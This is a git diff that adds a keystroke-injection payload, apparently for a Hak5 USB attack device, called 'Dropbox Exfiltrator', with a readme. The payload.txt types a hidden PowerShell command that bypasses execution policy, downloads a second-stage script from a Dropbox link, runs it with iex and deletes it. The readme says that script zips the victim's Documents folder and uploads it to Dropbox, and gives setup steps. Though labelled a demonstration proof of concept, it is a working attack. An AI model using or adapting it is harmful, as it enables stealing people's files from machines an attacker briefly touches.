diff --git a/payloads/library/exfiltration/dropbox-exfiltrator/exfil.ps1 b/payloads/library/exfiltration/dropbox-exfiltrator/exfil.ps1 new file mode 100644 index 00000000..9233e76d Binary files /dev/null and b/payloads/library/exfiltration/dropbox-exfiltrator/exfil.ps1 differ diff --git a/payloads/library/exfiltration/dropbox-exfiltrator/payload.txt b/payloads/library/exfiltration/dropbox-exfiltrator/payload.txt new file mode 100644 index 00000000..033e3f8b --- /dev/null +++ b/payloads/library/exfiltration/dropbox-exfiltrator/payload.txt @@ -0,0 +1,15 @@ +# Dropbox Exfiltrator +# Author: Hak5Darren +# Props: jimcola99 Buchanan +# Demo: Hak5 episode 2505 +# Target: Windows Vista+ +# Category: Exfiltration + +LED SETUP +ATTACKMODE HID +LED ATTACK +QUACK GUI r +QUACK DELAY 500 +QUACK STRING powershell -w h -NoP -NonI -Exec Bypass \"\$e=\\\"\$env:TMP/e.ps1\\\"\;iwr https://www.dropbox.com/s/61jx6u40orxmvzz/exfil.ps1?dl=1 -O \$e\;iex \$e\;rm \$e\" +QUACK ENTER +LED FINISH diff --git a/payloads/library/exfiltration/dropbox-exfiltrator/readme.md b/payloads/library/exfiltration/dropbox-exfiltrator/readme.md new file mode 100644 index 00000000..7fc184b3 --- /dev/null +++ b/payloads/library/exfiltration/dropbox-exfiltrator/readme.md @@ -0,0 +1,34 @@ +# Dropbox Exfiltrator Proof-of-Concept + +* Author: Hak5Darren +* Props: jimcola99 Buchanan +* Demo: Hak5 episode 2505 +* Target: Windows Vista+ +* Category: Exfiltration + +## Proof of Concept + +This payload is not robust and is meant for demonstration purposes only. Known issues include the 150 MB file chunking limitation with Dropbox, as well as the IWR/IEX method and compression overhead. Please feel free to clean up. + +## Description + +Staged powershell payload which downloads and executes exfil.ps1 from dropbox which compresses the users documents folder and uploads it to dropbox. + +## Requirements + +* Step 1. Create a Dropbox app using their API and generate an access token from https://www.dropbox.com/developers/apps/create +* Step 2. Customize the powershell second stage exfil.ps1 file to exfiltrate the loot to Dropbox using the token generated above +* Step 3. Get a direct dropbox link for the powershell file (right-click exfil.ps1, get dropbox link, replace dl=0 with dl=1) +* Step 4. Customize the exfiltration payload.txt to use the dropbox link from above +* Step 5. ??? +* Step 6. h4x + + + +## STATUS + +| LED | Status | +| ----------------- | -------------------------------------- | +| SETUP | Setting attack mode | +| ATACK | Injecting keystrokes | +| FINISH | All done |